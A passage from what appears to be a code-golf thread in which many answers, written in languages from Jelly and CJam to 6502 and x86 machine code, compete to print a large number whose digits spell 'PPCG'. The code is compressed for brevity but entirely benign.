ArrayPlot@Partition[IntegerDigits@#,39]& ``` [![enter image description here](https://i.stack.imgur.com/yeMat.jpg)](https://i.stack.imgur.com/yeMat.jpg) [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~55~~ ~~54~~ ~~52~~ ~~47~~ 46 bytes ``` “=÷¡v⁺ʋiṂYR¤"bİɲ}Ñ1Ṇ⁴ẠV⁹yȥGẇ’“¿mŻ“p’Dx39jBo88V ``` There are more convoluted approaches in the revision history, but this simple one beats them all. [Try it online!](https://tio.run/##y0rNyan8//9Rwxzbw9sPLSx71LjrVHfmw51NkUGHliglHdlwclPt4YmGD3e2PWrc8nDXgrBHjTsrTyx1f7ir/VHDTKC2Q/tzj@4G0gVArkuFsWWWU76FRdj//wA "Jelly – Try It Online") ### How it works ``` “=÷¡v⁺ʋiṂYR¤"bİɲ}Ñ1Ṇ⁴ẠV⁹yȥGẇ’ ``` This is a numeric literal, encoded in bijective base 250, where the digits are taken from Jelly's code page. The chain's (left) argument and the return value are set to the encoded integer, **n := 0x21871c77d7d7af6fafafeff0c37f72ff7fbfbdbfdfef5edfeff8e3**. ``` “¿mŻ“p’ ``` A similar literal to the above one, but the second `“` separates two encoded integers. The return value is replaced with the encoded array, **[777711, 113]**. ``` Dx39 ``` `D` converts the return value to decimal (**[[7, 7, 7, 7, 1, 1], [1, 1, 3]]**), then `x39` repeats each individual integer/digit in the result **39** times. This yields a pair of arrays, which contains the digits before and after the 7-character high text, respectively. Let's call this array **A**. ``` jB ``` First, `B` converts the (left) argument **n** to binary. This yields the digits that form the 7-character high text, where each **88** has been replaced by **0**. Then, `j` joins the array **A**, using the binary array as separator. ``` o88 ``` This performs logical OR with **88**, replacing each **0** with **88**. ``` V ``` We have the correct digits now, but in an array of **7**'s, **1**'s, **88**'s, and **3**'s. `V` implicitly turns this array into a string and then evals it, yielding a single integer. [Answer] # [Bubblegum](https://esolangs.org/wiki/Bubblegum), 51 bytes ``` 00000000: 331f c4c0 90ba c002 0a90 5986 d818 50d5 3.........Y...P. 00000010: 282c 3406 6e65 5036 1e4b 9195 8109 649d (,4.neP6.K....d. 00000020: 5858 1896 4279 68b2 f895 61fa 94ca c098 XX..Byh...a..... 00000030: 3800 00 8.. ``` [Try it online!](https://tio.run/##hY@tEsIwEIQ9T7ESwWQuf8cdEoupLDJJWxCAq@DpQwqtZufO7X6zm@ecH@NtftZKq07w3k4ooRCUckIhcqCkhKjCGMQKIg0R8GbTtX1ndj@CbQwnrsAHYvDIsfk9w44hQ61GiCUFBx2A/SGY19ixuSycYWO4xogSBVaUEdyx@SU7TNLibKcEDWXppgL0vTHn973l07fNyvDLFiFCu78SY2r9AA "Bubblegum – Try It Online") [Answer] # [SOGL V0.12](https://github.com/dzaima/SOGL), ~~52~~ 51 [bytes](https://github.com/dzaima/SOGL/blob/master/chartable.md) ``` ≡=vā⁷H↕↕jΥ_Ν↑∆∫▲pΖo ‘θδžΟwd╬2n?q[‘²Κ7n⌡"α¼■╤ģ⅞¹‘¹H∑ ``` ties bubblegum! note that this answer contains a tab [Try it Here!](https://dzaima.github.io/SOGLOnline/?code=JXUyMjYxJTNEdiV1MDEwMSV1MjA3N0gldTIxOTUldTIxOTVqJXUwM0E1XyV1MDM5RCV1MjE5MSV1MjIwNiV1MjIyQiV1MjVCMnAldTAzOTZvJTA5JXUyMDE4JXUwM0I4JXUwM0I0JXUwMTdFJXUwMzlGd2QldTI1NkMybiUzRnElNUIldTIwMTglQjIldTAzOUE3biV1MjMyMSUyMiV1MDNCMSVCQyV1MjVBMCV1MjU2NCV1MDEyMyV1MjE1RSVCOSV1MjAxOCVCOUgldTIyMTE_) Tries to save bytes by reusing the same string for both of the `P`s. Explanation: ``` ...‘...‘²Κ7n⌡"..‘¹H∑ compressed strings replaced with ellipses to shorten the width ...‘ pushes "1111111188888188888888111118811111881111188111118881118818111811111111188888188888888111118811111881111188118118888818818881811118111" - CG ...‘ pushes "1111111888888888888881118118111811811181181118118111811811188881111881" - P ² join with itself - double the P Κ reverse add - prepend the PP to CG 7n split to line lengths of 7 ⌡ for each "..‘ push "311ŗ117777" with ŗ replaced with the ToS - current item looping over ¹ wrap the results tn an array H rotate it counter-clockwise ∑ join to a single string ``` The numbers there are saved as from the original starting at the bottom left, going up, then 1 right & down, then up, ect. A 52 byte plain compression version: ``` #⅓→9E■Ν►1&⅝θ⅞%øøμ←N═]y)u⅝↓$A○░(ZF16Φ⅓Mč▓d⅛Hι‼∑υnη▲Z‘ ``` [Try it Here!](https://dzaima.github.io/SOGLOnline/?code=JTIzJXUyMTUzJXUyMTkyOUUldTI1QTAldTAzOUQldTI1QkExJTI2JXUyMTVEJXUwM0I4JXUyMTVFJTI1JUY4JUY4JXUwM0JDJXUyMTkwTiV1MjU1MCU1RHklMjl1JXUyMTVEJXUyMTkzJTI0QSV1MjVDQiV1MjU5MSUyOFpGMTYldTAzQTYldTIxNTNNJXUwMTBEJXUyNTkzZCV1MjE1QkgldTAzQjkldTIwM0MldTIyMTEldTAzQzVuJXUwM0I3JXUyNUIyWiV1MjAxOA__) [Answer] # CJam, ASCII, 61 ``` Hs78f*~_@"'hfv;HH`>O4RU(_o^.U)9q&-1iadr`4tk"90b2b88fe|1$'339* ``` [Try it online](http://cjam.aditsu.net/#code=Hs78f*~_%40%22'hfv%3BHH%60%3EO4RU(_o%5E.U)9q%26-1iadr%604tk%2290b2b88fe%7C1%24'339*) Append `]s39/N*` for nice wrapping. **Explanation:** ``` Hs generate "17" (H=17) 78f* repeat each character 78 times, getting an array of 2 strings ~_ dump the 2 strings on the stack, and duplicate the '7's @ move the '1's to the top of the stack (first 6 lines done so far) "…"90b convert that string from base 90 (treating characters as numbers) 2b convert the resulting number to base 2, obtaining a bit map for the "PPCG" part, with 1 for "1" and 0 for "88" 88fe| replace (boolean OR) all the zeros with 88 1$ copy the string of 78 '1's '339* repeat '3' 39 times ``` [Answer] # Mathematica, 107 bytes ``` Uncompress@"1:eJxTTMoP8ixgYmAwH8TAkLrAAgqQWYbYGFDVGCxkBh5lCDNwWIqqDCyGrAGDhWEpFmXY3IaiDItPqQqMiQMA+yaAoA==" ``` [Try it online!](https://tio.run/##BcHRCoIwFADQXxFfe4oIJBh423IZGROstccpU4dN3RyoX7/OMdL3ykivGxnaCEXhPTaTmZ1aljQ@XtRjq6piYoneOmFgvScVDE8H0NmSi1rQjHwo3oZrf/5h8lp5bi3BO3VASc9vc2a@4pRLTXLPbGkLXRZw2CVMgFAcmNOjj9I2/AE "Wolfram Language (Mathematica) – Try It Online") [Answer] # C, ~~519~~ ~~427~~ ~~414~~ ~~396~~ 377 bytes Thanks to Tas, Felix Palmen and Lynn. ``` #define p(n,l)for(i=40*l;i;)putchar(--i%40?n+48:10); f(i){p(7,4)p(1,2)puts("188888888118888888811188888811188888811\n188111118818811111881881111881881111881\n188111118818811111881881111111881111111\n188888888118888888811881111111881118888\n188111111118811111111881111111881111881\n188111111118811111111881111881881111881\n188111111118811111111188888811188888811");p(1,2)p(3,1)} ``` For your interest, here is a longer, easier-to-read version: ``` #define p(n,l) for(i=40*l;i;) putchar(--i%40?n+48:10); f(i) { p(7,4) p(1,2) puts("188888888118888888811188888811188888811\n\ 188111118818811111881881111881881111881\n\ 188111118818811111881881111111881111111\n\ 188888888118888888811881111111881118888\n\ 188111111118811111111881111111881111881\n\ 188111111118811111111881111881881111881\n\ 188111111118811111111188888811188888811"); p(1,2) p(3,1) } ``` [Answer] # [Java (OpenJDK 8)](http://openjdk.java.net/), 165 bytes ``` n->{for(int i=0;++i<566;)System.out.print(i<157?7:i>526?3:i<236|i>446||new java.math.BigInteger("vnku5g6l0zenpa1kydel5rxw162k4fk4xapa154o",36).testBit(446-i)?1:88);} ``` [Try it online!](https://tio.run/##LY/LbsIwEEX3fIXFKhHFIpAYREKQ6KqLqguWVRfGmHQSZxzFYx4Fvj0NtKuRzr06V1PKoxzbRmO5r7rG7wwopox0jr1LQHYdMPZPHUnqz9HCntV9FmypBSw@v5hsCxc@q4yVvY97AsMPHhWBRf5q0flat9nHrtSKcqbYqsNxfj3YNgAkBqtJOhpBlgiRhtuLI11z64k3vZ8CyKJkvp4vIU@mYj1bQjadiRvkcSxuN9Snv8la0jffQPGGpAvdBsMjVj4phJn8aGxkVF322iTt@RSJaRUfqvgse5rEdvgyEyEn7WgDFPTSMYTraLlYhOm9S58/KS6V0g0F6I0JH@w@uHe/ "Java (OpenJDK 8) – Try It Online") ## Credits * -10 bytes thanks to aditsu! [Answer] # Javascript (ES6), ~~187~~ 181 bytes -6 bytes thanks to @JustinMariner ``` r=s=>s[0].repeat(39),a=r`7`,b=r`1`,i="8888881",c=188+i,d=11+i,j="188111",e=j+1188,f=j+188,g=j+111,h=g+1,k=r`3` z=>"aaaabbccdd1eeff1eeghccgj8888hhgf1hhff1hhdd1bbk".replace(/./g,eval) ``` Super simple approach; it could probably be golfed some more. **Explanation** ``` r=s=>s[0].repeat(39), // helper function to repeat character a=r`7`,b=r`1`,i="8888881",c=188+i,d=11+i,j="188111",// Set the variables (a-k) to different e=j+1188,f=j+188,g=j+111,h=g+1,k=r`3` // parts of the prime _=>"aaaabbccdd1eeff1eeghccgj8888hhgf1hhff1hhdd1bbk" // Replace all letters in the string .replace(/./g,eval) // with the value of the variable ``` **Example code snippet** (with some helper code to add line breaks in the output) ``` r=s=>s[0].repeat(39),a=r`7`,b=r`1`,i="8888881",c=188+i,d=11+i,j="188111",e=j+1188,f=j+188,g=j+111,h=g+1,k=r`3` z=_=>"aaaabbccdd1eeff1eeghccgj8888hhgf1hhff1hhdd1bbk".replace(/./g,eval) o.innerText=z().replace(/.{39}/g,"$&\n") ``` ``` <pre id=o> ``` [Answer] # [Retina](https://github.com/m-ender/retina), 129 bytes ``` h155b78i7b1i7b2i5b2i5b2!4!!4!""1!4!!4!!6#i7b1i7b1!6!2i3b##!6"1##""1#!8i5b2i5b79d38 # !7 " !3! ! i1b \d+ $* +`(\D)1 $1$1 1 T`l`d ``` [Try it online!](https://tio.run/##LYs7CsMwFAT7vcXqqUji6lnRJ32O4NKFLBSIIKQIvr8isGEHtpj5vfb23XrHW70vMbVYdDA3f8A7x4zR4zDIaSgD5@aKCINRkaEI05nFR3UJAkYY0BFE04K1TrA3TPmyPq8Kq1ahwJI/ufb@Bw "Retina – Try It Online") [Answer] # Batch, ~~364~~ ~~335~~ 333 bytes ``` @set a=888888&set b=1111111111111&set e=1881111&set d=1%e%&set f=333333333&for /L %%x in (1,1,156) do @cd|set/p=7 @echo %b%%b%%b%%b%%b%%b%1%a%8811%a%88111%a%111%a%1%d%188%e%188%e%88%e%88%d%188%e%188%e%1%d%1111%a%8811%a%88%d%111881118888%e%11%d%11%d%1%d%88%d%11%d%11%d%88%e%88%d%11%d%11111%a%111%a%%b%%b%%b%%b%%b%%b%11%f%%f%%f%%f%333 ``` [Answer] # Ruby, 109 bytes The script calls `Zlib.inflate` to decompress the number. It needs at least Ruby 1.9.3. It contains unprintable bytes, so I can't paste it here. I paste the output of `vis prime-inflate.rb`: ``` require'zlib' puts Zlib.inflate DATA.read __END__ x\M-Z37\^_\M-<\M-@\M^P\M-:\M-@\^B \M^PY\M^F\M-X\^XP\M-U\^X,d\^F\^^e\^H3pX\M^J\M-*\^L,\M^F\M-,\^A\M^C\M^Ea)\^Ve\M-X\M-\\M^F\M-"\^L\M^KO\M-) \M^L\M^I\^C\^@\^P\M-p~\M-! ``` If you have unvis(1), run `unvis prime-inflate.vis > prime-inflate.rb` to restore the 109-byte script. Or you can decode the Base64, below, with `ruby -e 'print *STDIN.read.unpack(?m)' < prime-inflate.b64 > prime-inflate.rb`. ``` cmVxdWlyZSd6bGliJwpwdXRzIFpsaWIuaW5mbGF0ZSBEQVRBLnJlYWQKX19F TkRfXwp42jM3H7zAkLrAAgqQWYbYGFDVGCxkBh5lCDNwWIqqDCyGrAGDhWEp FmXY3IaiDItPqQqMiQMAEPB+oQ== ``` I call `Zlib.inflate` so I don't need to design and golf my own decompression algorithm. I use `DATA` with `__END__` because the compressed string isn't valid UTF-8. Ruby code must be valid ASCII (in Ruby 1.9.x) or UTF-8 (from Ruby 2.0) or have a magic comment `#coding:binary` to change the encoding, but Ruby doesn't check the encoding after `__END__`. [Answer] # [C (gcc)](https://gcc.gnu.org/), 269 267 bytes function, uses simple RLE. ``` x[]={39,79,80,156};k;f(i){for(char*c="d7b1882188316831683128512811285128112841281128412821285128112851281128712881882188212871283148112881288128712841282128812881284128112841282128812891683168c1a3";i=*c++;++c)for(i=i<97?i-48:x[i-97];i--;++k%39||puts(""))putchar(*c);} ``` [Try it online!](https://tio.run/##bY/dCsIwDIXfpSC02wq23WxrLT7I2MWMTMvwh6kw2Pbss5UKQ7z4OEkOOSRATwDz3JeVHYTOpM7UOmPFZjKtabAjQ3PrMJzrLgGLjvLAlOIewTYRrgoPW2i@UP7Hlx4Vc3jsBcs/norIxf539psbZjreAawWyDibQJqaNAUSznbW7bTcO5qrbV86qmVlHKXeb1dCj@P99XxghAjxRXgRJ0DMNF9qd8X@cRyaNw "C (gcc) – Try It Online") [Answer] # [Python 2](https://docs.python.org/2/), 112 bytes ``` print'7'*156+'1'*78+bin(int('JAOKI5B0O6K9IWDU8P76KDLR0VZMNWQ2WB9D8BOS8',36))[2:].replace('0','88')+'1'*80+'3'*39 ``` [Try it online!](https://tio.run/##K6gsycjPM/r/v6AoM69E3Vxdy9DUTFvdUF3L3EI7KTNPAyiqoe7l6O/taepk4G/mbekZ7hJqEWBu5u3iE2QQFuXrFx5oFO5k6WLh5B9soa5jbKapGW1kFatXlFqQk5icqqFuoK6jbmGhrgk21cJAW91YXcvY8v9/AA "Python 2 – Try It Online") [Answer] # [C (gcc)](https://gcc.gnu.org/), 224 bytes ``` f(i,j,c){for(i=0;c="wwdfFdfFDfFDfFDFDDFFDDFFDddDDFdDDddDDddDDDdDDDDffDffDFDDDFDfdDDDDFDDDdDDDdDDFdDDDDFDDDdDDFFDdDFDDDdDDDDdfDdfD"[i/2]>>i++%2*4&15;c-6?putchar(c-4?c+48:49):printf("88"))for(j=0;j++<c%2*38;)putchar(c+48);} ``` [Try it online!](https://tio.run/##PY7RCoJAEEUf@gL/QIRit1UqszA39WXxJ6IHmWVqhUzE6EH8dptNEe5h4M69w0DwABhHZMavfOA9vltm0r2E1Pt@HY0FSU0qlComtKZB6BllUYhWlCDw7xTzao4vhj2xLJVGK2fl3cwuvGeZEWIdbqPN4SQhOOfNp4Nn2TIIohxEFCfRhSdNa@oOmRfHHuf254p@roS4AlWPseRLixpcDiPF3Vdpasbd3kXGpTuMPw "C (gcc) – Try It Online") Contains some unprintables, the string literal is `"ww\x11dfFdfFDfFDfFDFDDFFDDFFDddDDFdDDddDDddDDDdDDDDffDffDFDDDFDfdDDDDFDDDdDDDdDDFdDDDDFDDDdDDFFDdDFDDDdDDDDdfDdfD\x11\x03"`. [Answer] # [6502 machine code](https://en.wikibooks.org/wiki/6502_Assembly) (C64), 142 122 bytes ``` 00 C0 A9 27 85 FB A2 00 86 FC A2 04 CA 10 01 60 BC 70 C0 BD 74 C0 20 D2 FF C6 FB D0 0B 48 A9 27 85 FB A9 0D 20 D2 FF 68 88 D0 EB E0 02 D0 DD 48 A5 FC 4A A8 B9 4A C0 90 04 4A 4A 4A 4A 29 0F F0 08 E6 FC A8 68 49 09 D0 CD 68 D0 C0 28 38 36 36 52 12 52 12 42 12 42 22 52 12 52 12 72 82 28 28 72 32 14 82 82 72 42 22 82 82 42 12 42 22 82 92 36 06 27 50 4F 9C 33 31 31 37 ``` **[Online demo](https://vice.janicek.co/c64/#%7B%22controlPort2%22:%22joystick%22,%22primaryControlPort%22:2,%22keys%22:%7B%22SPACE%22:%22%22,%22RETURN%22:%22%22,%22F1%22:%22%22,%22F3%22:%22%22,%22F5%22:%22%22,%22F7%22:%22%22%7D,%22files%22:%7B%22ppcgprime.prg%22:%22data:;base64,AMCpJ4X7ogCG/KIEyhABYLxwwL10wCDS/8b70AtIqSeF+6kNINL/aIjQ6+AC0N1IpfxKqLlKwJAESkpKSikP8Ajm/KhoSQnQzWjQwCg4NjZSElISQhJCIlISUhJygigocjIUgoJyQiKCgkISQiKCkjYGJ1BPnDMxMTc=%22%7D,%22vice%22:%7B%22-autostart%22:%22ppcgprime.prg%22%7D%7D)** **Usage:** `sys49152` * -20 bytes with better implementation of same method and data tables for large blocks as well. --- ### Explanation This also uses the lengths of the `1` and `8` sequences in the middle part; as they're all shorter than 16, two of them are encoded per byte. Commented disassembly listing: ``` 00 C0 .WORD $C000 ; load address .C:c000 A9 27 LDA #$27 ; counter for newlines (39) .C:c002 85 FB STA $FB .C:c004 A2 00 LDX #$00 ; index for run-length data .C:c006 86 FC STX $FC .C:c008 A2 04 LDX #$04 ; index for "blocks" (counting down) .C:c00a .blockloop: .C:c00a CA DEX .C:c00b 10 01 BPL .continue ; block index underflow -> done .C:c00d 60 RTS .C:c00e .continue: .C:c00e BC 70 C0 LDY .lseqlens,X ; load length of next block to Y .C:c011 BD 74 C0 LDA .chars,X ; load character of next block to A .C:c014 .outloop: .C:c014 20 D2 FF JSR $FFD2 ; output character .C:c017 C6 FB DEC $FB ; decrement newline counter .C:c019 D0 0B BNE .skipnl .C:c01b 48 PHA ; newline needed -> save accu .C:c01c A9 27 LDA #$27 ; restore newline counter .C:c01e 85 FB STA $FB .C:c020 A9 0D LDA #$0D ; load newline character .C:c022 20 D2 FF JSR $FFD2 ; output character .C:c025 68 PLA ; restore accu .C:c026 .skipnl: .C:c026 88 DEY ; decrement repeat counter .C:c027 D0 EB BNE .outloop ; repeat until 0 .C:c029 E0 02 CPX #$02 ; check for block index of text part .C:c02b D0 DD BNE .blockloop ; not in text part -> repeat .C:c02d .textpart: .C:c02d 48 PHA ; save accu .C:c02e A5 FC LDA $FC ; load index for run-length data .C:c030 4A LSR A ; and shift right .C:c031 A8 TAY ; -> to Y register .C:c032 B9 4A C0 LDA .seqlens,Y ; load run-length data .C:c035 90 04 BCC .lownibble ; carry clear from shift -> low nibble .C:c037 4A LSR A ; shift high nibble into low nibble .C:c038 4A LSR A .C:c039 4A LSR A .C:c03a 4A LSR A .C:c03b .lownibble: .C:c03b 29 0F AND #$0F ; mask low nibble .C:c03d F0 08 BEQ .textdone ; run-length zero? then text block done .C:c03f E6 FC INC $FC ; increment index for run-length data .C:c041 A8 TAY ; run-length to y-register .C:c042 68 PLA ; restore accu .C:c043 49 09 EOR #$09 ; toggle between '8' and '1' .C:c045 D0 CD BNE .outloop ; and back to output loop .C:c047 .textdone: .C:c047 68 PLA ; restore accu .C:c048 D0 C0 BNE .blockloop ; back to loop for next block .C:c04a .seqlens: .C:c04a 28 38 36 36 .BYTE $28,$38,$36,$36 .C:c04e 52 12 52 12 .BYTE $52,$12,$52,$12 .C:c052 42 12 42 22 .BYTE $42,$12,$42,$22 .C:c056 52 12 52 12 .BYTE $52,$12,$52,$12 .C:c05a 72 82 28 28 .BYTE $52,$82,$28,$28 .C:c05e 72 32 14 82 .BYTE $72,$32,$14,$82 .C:c062 82 72 42 22 .BYTE $82,$72,$42,$22 .C:c066 82 82 42 12 .BYTE $82,$82,$42,$12 .C:c06a 42 22 82 92 .BYTE $42,$22,$82,$92 .C:c06e 36 06 .BYTE $36,$06 .C:c070 .lseqlens: .C:c070 27 50 4F 9C .BYTE $27,$50,$4F,$9C .C:c074 .chars: .C:c074 33 31 31 37 .BYTE "3117" ``` [Answer] # [R](https://www.r-project.org/), ~~178~~ 165 bytes *-10 bytes thanks to [Dominic van Essen](https://codegolf.stackexchange.com/users/95126)* ``` `?`=c w=8?2?8?2 x=5?2?1?2 y=2?4?2?2?2 z=4?2?1?y cat(rep(7?0:76%%2*7+1?3,156?79?8?2?8?3?6?3?6?3?2?x?x?z?x?x?7?2?8?w?2?7?2?3?4?1?2?w?7?y?w?z?8?2?9?6?3?6?80?39),sep="") ``` [Try it online!](https://tio.run/##LU3RCoMwEHvvZwiCbj7YVls7OPIrDvFd3EDbn69ZJyEhd0dye84zZlnUIRMMSHXKSKfpohgM9IRKMpRtVMv72@zr1nj0L@/q2jz8U8N2enTwAf8aC3fT4CRSUV9uB/XnLMv5hrNHpKaSDXdy6mFD233WTaqqzfkC "R – Try It Online") A run-length-decoding solution with a few optimizations thanks to [this tip](https://codegolf.stackexchange.com/a/171855/16766). [Answer] # x86-16 machine code, IBM PC DOS, ~~117~~ ~~108~~ 107 bytes Binary: ``` 00000000: be14 01b1 53ac d404 bb67 01d7 cd29 fecc ....S....g...).. 00000010: 75fa e2f1 c3ff b7fd 4122 0922 0d1a 0d1a u.......A".".... 00000020: 0d0a 150a 050a 150a 050a 110a 050a 110a ................ 00000030: 090a 150a 050a 150a 050a 1d0a 2122 0922 ............!"." 00000040: 090a 1d0a 0d12 050a 210a 210a 1d0a 110a ........!.!..... 00000050: 090a 210a 210a 110a 050a 110a 090a 210a ..!.!.........!. 00000060: 251a 0d1a fd45 9c33 3138 37 %....E.3187 ``` Listing: ``` BE 011E MOV SI, OFFSET DAT ; RLE table BB 0171 MOV BX, OFFSET CHR ; character table B1 53 MOV CL, 83 ; data length BYTE_LOOP: AC LODSB ; AL = byte D4 04 AAM 4 ; Unpack AL = char index, AH = run length D7 XLAT ; AL = ASCII char RLE_LOOP: CD 29 INT 29H ; write char to console FE CC DEC AH ; decrement length counter 75 FA JNZ RLE_LOOP ; loop until end of run E2 EC LOOP BYTE_LOOP ; loop until end of bytes DAT: C3 RET ; return to DOS (and first byte of DAT) DB 0FFH,0B7H,0FDH,41H,22H,09H,22H,0DH,1AH,0DH DB 1AH,0DH,0AH,15H,0AH,05H,0AH,15H,0AH,05H,0AH,11H DB 0AH,05H,0AH,11H,0AH,09H,0AH,15H,0AH,05H,0AH,15H DB 0AH,05H,0AH,1DH,0AH,21H,22H,09H,22H,09H,0AH,1DH DB 0AH,0DH,12H,05H,0AH,21H,0AH,21H,0AH,1DH,0AH,11H DB 0AH,09H,0AH,21H,0AH,21H,0AH,11H,0AH,05H,0AH,11H DB 0AH,09H,0AH,21H,0AH,25H,1AH,0DH,1AH,0FDH,45H,9CH CHR: DB '3','8','1','7' ``` Uses a form of RLE to encode the lengths for each run of numbers. Since there's only four possible numbers, these are encoded using 2 bits of each byte and the remaining 6 bits for the length of the run. This compresses the 624 byte input down to 83. For example: ``` Run Len Num Hex 888888 -> 000110 10 = 0x1A 777 -> 000011 00 = 0x0C 1111 -> 000100 01 = 0x11 ``` A standalone PC DOS executable COM program. Output to console (in delightful MDA amber today): [![enter image description here](https://i.stack.imgur.com/70e9Z.png)](https://i.stack.imgur.com/70e9Z.png) Or formatted with line breaks: [![enter image description here](https://i.stack.imgur.com/pHfHM.png)](https://i.stack.imgur.com/pHfHM.png) *-8 bytes thanks to @gastropner for the excellent idea to use `AAM` to unpack the byte instead of bit shifting!* *-1 byte thanks to @gastropner adjusting data to start with a `0xC3` (`RET` opcode)!* [Answer] # JavaScript (ES6), 183 bytes (possibly 182?) ``` x=>"7"[r="repeat"](156)+(o="1"[r](78))+"...".replace(/./g,x=>x.charCodeAt().toString(2).padStart(8,0).replace(/0/g,8))+1+o+"3"[r](39) ``` Where `...` is a string of 34 characters. Many of these are ASCII control characters or weird possibly invalid ones like `0x80`, but if I save it to a file on my laptop it will produce the correct output (with a `console.log` of course). Oddly it seems to work with a raw null byte too, but as I'm not sure if I'm right about that I've just used a `\0`. The string looks something like: ``` "\x80`\x1C\x0E\x07>O\x93Éæ|\x9F'óü\x03\x00Ïç\tþ\x7F\x9FÏ3üÿ<\x9Egùÿ\x03\x81" ``` For now this is a 1-2 bytes behind the current answer (was ahead until I remembered to add `x=>` >:|), but I worked pretty hard on it and I'm sure it's possible to find a couple of bytes to golf somewhere. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 86 bytes ``` Lẋ@1,8żḣLẋ/€F 7ẋ156;1ẋ78¤©;“½Ẹ^o“2FẒ⁶ġbȥ“¡E⁷£cṿ“t¡ɗḋ“£F¢Xȥ“¡McṾbȥ“¬3Ṭo’DÇ€F¤;®;3rẋ39¤Ḍ ``` [Try it online!](https://tio.run/##y0rNyan8/9/n4a5uB0Mdi6N7Hu5YDOLoP2pa48ZlDmQZmppZGwJpc4tDSw6ttH7UMOfQ3oe7dsTlA1lGbg93TXrUuO3IwqQTS0EyC10fNW4/tDj54c79QG7JoYUnpz/c0Q2SWex2aFEEVJEvUH4fVMca44c71wDNmulyuB1k56El1ofWWRsXAW00tjy05OGOnv///wMA "Jelly – Try It Online") -12 bytes thanks to user202729 [Answer] # [Python 2](https://docs.python.org/2/), ~~309~~ ~~158~~ ~~155~~ ~~136~~ 135 bytes ``` x='1'*78 s='7'*156+x a=1 for c in str(int('109PDKEZ3U32K97KJQVELW8GKXCD42EGEYK715B6HPMPL0H8RU',36)):s+=`a`*int(c);a^=9 print s+x+'3'*39 ``` [Try it online!](https://tio.run/##Fcy7DoIwFADQvV/R7ULrQKlQqumiNBCLCZrgazAQEiMLEMqAX191PMsZP/N76EPnFgUMiEiQVSCAsCimC2oUQ69hwi3uemznyev62QMWyDI1@sErHhopzOF00cU1ycxtn65Dnem7ESzaxXl5LIsgT84VrHjs@xtLVd3U5J@0/rZ5KonG6Sds6UKBA@HSuS8 "Python 2 – Try It Online") # [Python 2](https://docs.python.org/2/), 137 bytes ``` s='7'*156 a=1 for c in'90'*8+str(int('PL6PU5TXIC24LCKIQY50C2LPAIC9TVZEVQGTMM63IHGBBUV1XSA6',36))+'09'*8:s+=`a`*int(c);a^=9 print s+'3'*39 ``` [Try it online!](https://tio.run/##FcwxDoIwFADQnVOwfdo6FCrVajpAY7AREohA0MFASIwsQCiLp684vuXN3/UzjYG1RsIBsB9yp5O@854Wt3eHEQQFfCRmXbxhXD3IU55XYdloFexTddPFI6QqSPNIK1HWz0tdJGWWcaavSRxXtd/cIw47xhEiQMVWnQyRbdfi/9ajc/eSwpmXTa4hwAAzYe0P "Python 2 – Try It Online") [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 85 bytes ``` ”7ẋ“ɓ’80“¡Ȯ⁶LÑɓĠ⁶-€Øġ°$¤ṛọḳƓƒṭ⁽@^ḥ⁷Ofạ<e½Ṇż;,RṘ¶ṀḊ+`⁸ⱮḃĿþṛ9.wƑ¡kḟUẎgLLµ’ḃĖŒṙị⁾1839”3ẋ ``` [Try it online!](https://tio.run/##FY7NCgFRGEBfxs5PNAsjFh5gSilb2QyFvezmUhYmakyJEFPsEAn3zhjqzph4jO97kevancXpdJp6u90VAo1VFlwTjeXXRmOupiVx53NEctMC62uHG0lJ7O2DWejwU4xvgS3AGwG9RHY0AXZA4herQHdI7qU6uE5B5z6wwfuRT5SBzfgNmAF0GK8hoXg@Au2Hr@ApK7lUJ7K40wK6roA7bmgav8qFvzB9y/IcPBPJM6MqOXmpyEshfg "Jelly – Try It Online") Based on Dennis's approach to the Trinity Hall challenge, minus the symmetry, plus the leading `7`s and trailing `3`s. [Answer] # [PowerShell](https://github.com/TryItOnline/TioSetup/wiki/Powershell), 164 bytes ``` $a='136361616151315131531532513151315215436365213213315454521532545453153254541616';6..2|%{$a=$a-replace$_,(11,88,22,34,3332)[$_-2]};'7'*156+'1'*78+$a+'1'*78+'3'*39 ``` [Try it online!](https://tio.run/##PYzBCsIwEER/JrKapoXdSdNI8UtESpCAh4ClPXhQvz0mSmVm4c0yzHx/xGW9xZRyVuFEDAfHVT3jd9XyT8K9rZ0CKC4fWyTfTiVsVEdodF0nr92zTKvQLnFO4RrVZPbMxnsjYmANADmc1dTK5T3SQJp71xCTHnyjwkYE0jjm/AE "PowerShell – Try It Online") String multiplication, concatenation, and replacements. PowerShell doesn't have base 36 or similar, so large-number compression options are limited. There might be a better way to "compress" the middle part -- I'm still checking on that. [Answer] # [Wolfram Language (Mathematica)](https://www.wolfram.com/wolframscript/), 89 (17+71+1) bytes First you export the number to a GZIP file. This file, named "o" with no extension will be exactly 71 bytes, which counts towards the total. By default, it will go to your `$TemporaryDirectory`. Omitting digits for readability. ``` Export["o",777777...,"GZIP"] ``` Then ``` "o"~Import~"GZIP" ``` will reconstruct the number. The file name is one byte so that's where the +1 comes from. [Try it online!](https://tio.run/##y00syUjNTSzJTE7871pRkF9UEq2Ur6RjPoiBIXWBBRQgswyxMaCqMVjIDDzKEGbgsBRVGVgMWQMGC8NSLMqwuQ1FGRafUhUYEwd0lNyjPAOUYq250hRsFf4Dk2CdZy4oNdZBJP4HFGXmlSg4pFkrgFkObpk5qU6VJanO@aVAHlD9fwA "Wolfram Language (Mathematica) – Try It Online") [Answer] # [Befunge-93](https://github.com/catseye/Befunge-93), 500 bytes ``` v F >20g1-20p >"3"20g10g`#^_>52*"F"20p30g10g`#v_"^!1"21p30p84*2+1p ^ p03-1g03< ^>"81118888888811888888881>!"30p84*2+1p52* ^^"8888811188888811"*25"188111118"<>">#7"21p30p57*5p >*"188111188188111188188111118818"^ $>:#,_@ ^25"18811111881881111188188111111"< >"8888811888888881"25*"1111111881"^ ^"88811881111111881118888"*25"188"< >"1188111111188111111118811111111"^ ^"11881"*52"188111111118811111111"< >"11111881"52*"188111188188111188"^ ^"1118811111111188888811188888811"< ``` [Try it 